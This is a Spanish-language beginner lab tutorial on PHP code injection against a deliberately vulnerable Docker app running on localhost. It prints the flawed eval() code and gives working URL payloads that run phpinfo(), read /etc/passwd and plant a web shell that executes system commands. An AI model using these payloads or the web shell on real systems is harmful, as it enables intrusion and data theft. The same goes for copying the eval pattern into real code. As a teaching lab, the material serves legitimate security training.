Explora las Vulnerabilidades de Inyección de Código en Aplicaciones Web

Beginner

Introducción

En este laboratorio, explorarás el concepto de vulnerabilidades de inyección de código en aplicaciones web. La inyección de código es una vulnerabilidad común que permite a un atacante ejecutar código malicioso en el servidor al inyectar código en los campos de entrada de usuario. El objetivo es comprender los principios detrás de las vulnerabilidades de inyección de código y aprender cómo explotarlas a través de ejercicios prácticos.

Configurar la aplicación vulnerable

En esta parte de nuestro curso, vamos a configurar una aplicación web que es intencionalmente vulnerable, específicamente, tiene una vulnerabilidad de inyección de código. Esto nos ayudará a aprender cómo identificar y mitigar este tipo de problemas. Aquí te mostramos cómo puedes poner en funcionamiento esta aplicación:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec

Analicemos un poco este comando:

  • docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 está iniciando un nuevo contenedor Docker con nuestra aplicación web vulnerable. La bandera -d le dice a Docker que ejecute el contenedor en segundo plano. La parte -p 82:80 está mapeando el puerto 80 dentro del contenedor al puerto 82 en tu máquina.
  • /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' está iniciando el servidor web Apache dentro del contenedor y luego mostrando continuamente el registro de errores del servidor.
  • docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec está cambiando los permisos del directorio /var/www/codeexec dentro del contenedor en ejecución, para que la aplicación web funcione correctamente.

Una vez que se haya ejecutado el comando y el contenedor Docker esté activo, puedes interactuar con la aplicación abriendo tu navegador web y yendo a http://localhost:82/codeexec/example1.php?name=hacker. Esto te llevará a nuestra aplicación web intencionalmente vulnerable. ¡Que disfrutes aprendiendo!

Interfaz de la aplicación web vulnerable

Comprender la vulnerabilidad de inyección de código

En el paso anterior, configuramos una aplicación web que tiene una vulnerabilidad de inyección de código incorporada. Echemos un vistazo más de cerca al código PHP que hace esto posible:

<?php
  $str="echo \"Hello ".$_GET['name']."!!!\";";
  eval($str);
?>

Aquí, la función eval() en PHP se utiliza para ejecutar una cadena como código PHP. El problema surge cuando el valor proporcionado por el usuario desde el parámetro name en la URL se agrega directamente a la cadena que eval() ejecuta. Debido a que no hay una comprobación sobre qué entrada se permite, esto abre la puerta a ataques de inyección de código.

Ahora, veamos esta vulnerabilidad en acción. Podemos inyectar nuestro propio código PHP saliendo de la cadena existente y agregando el nuestro. Intenta visitar esta URL:

http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();

Probablemente verás un mensaje de error. Esto se debe a que nuestro código inyectado ha causado un error de sintaxis: hemos dejado algunas comillas dobles desequilibradas. Pero no te preocupes, podemos solucionar esto utilizando la sintaxis de comentarios de PHP para terminar la cadena existente.

Mensaje de error de sintaxis

Intenta con esta URL:

http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();//

Esta vez, la función phpinfo() debería ejecutarse correctamente, mostrando información sobre la configuración de PHP del servidor. Esto nos muestra que hemos explotado con éxito la vulnerabilidad de inyección de código. Como puedes ver, incluso pequeños descuidados en el código pueden llevar a riesgos de seguridad significativos.

Resultado exitoso de inyección de código

Explotación de la inyección de código para inclusión de archivos

En este paso, vamos a explorar una técnica común para explotar vulnerabilidades de inyección de código: la inclusión de archivos remotos en el servidor. Utilizaremos la función file_get_contents() de PHP para lograr esto.

Aquí tienes una carga útil (payload) que puedes probar para leer el archivo /etc/passwd en el servidor:

http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_get_contents(%20%27/etc/passwd%27));//

El resultado se verá así:

Contenido del archivo passwd mostrado

Analicemos esto:

  • http://localhost:82/codeexec/example1.php?name=hacker es la URL de nuestra aplicación vulnerable, como ya hemos visto antes.
  • %22;var_dump(file_get_contents(%20%27/etc/passwd%27)); es la parte clave de nuestra carga útil. Utiliza la función file_get_contents() para leer el contenido del archivo /etc/passwd y luego var_dump() para mostrarlo.
  • // es simplemente una forma de comentar el resto del código, para que no interfiera con nuestra carga útil.

El archivo /etc/passwd contiene información sobre las cuentas de usuario en el sistema. Esto puede ser muy valioso cuando intentas explotar un sistema aún más. Entonces, al utilizar esta carga útil, potencialmente podemos obtener mucha información útil. ¡Dale una oportunidad y ve lo que puedes aprender!

Escribir archivos en el servidor

En esta última parte de nuestro laboratorio, vamos a explorar otra técnica de explotación común: la escritura de archivos en el servidor. Esto se puede lograr utilizando la función file_put_contents() de PHP. Esta técnica puede ser especialmente útil para cargar shells web u otro código malicioso en el servidor.

Aquí tienes una carga útil (payload) que puedes probar para crear un simple shell web llamado shell.php:

http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_put_contents($_GET[1],$_GET[2]));//&1=shell.php&2=<?php system($_GET['cmd'])?>

Analicemos esto:

  • http://localhost:82/codeexec/example1.php?name=hacker es la URL de nuestra aplicación vulnerable, como antes.
  • %22;var_dump(file_put_contents($_GET[1],$_GET[2])); está utilizando la función file_put_contents() para crear un archivo con un nombre dado por $_GET[1] y contenido dado por $_GET[2]. Luego utiliza var_dump() para mostrar el resultado de esta operación.
  • //&1=shell.php&2=<?php system($_GET['cmd'])?> está proporcionando los argumentos para la función file_put_contents(). shell.php es el nombre del archivo que estamos creando, y <?php system($_GET['cmd'])?> es el contenido del archivo. Este código PHP ejecutará cualquier comando pasado a través del parámetro cmd en la cadena de consulta.

Una vez que hayas ejecutado esta carga útil, deberías poder acceder al archivo shell.php y ejecutar comandos del sistema en el servidor. Por ejemplo, puedes probar a visitar la siguiente URL:

http://localhost:82/codeexec/shell.php?cmd=uname -a

El resultado se verá así:

Salida del comando en shell.php

Esto ejecutará el comando uname -a en el servidor y mostrará la salida, brindándote información básica sobre el sistema operativo del servidor. ¡Dale una oportunidad y ve lo que puedes aprender!

Resumen

En este laboratorio, has aprendido sobre las vulnerabilidades de inyección de código y cómo explotarlas utilizando diversas técnicas. Has configurado una aplicación web vulnerable, has comprendido la vulnerabilidad subyacente y la has explotado inyectando código PHP para ejecutar comandos del sistema, leer archivos sensibles y escribir archivos en el servidor. Esta experiencia práctica te ayudará a comprender mejor los riesgos asociados con las vulnerabilidades de inyección de código y cómo mitigarlos en las aplicaciones web.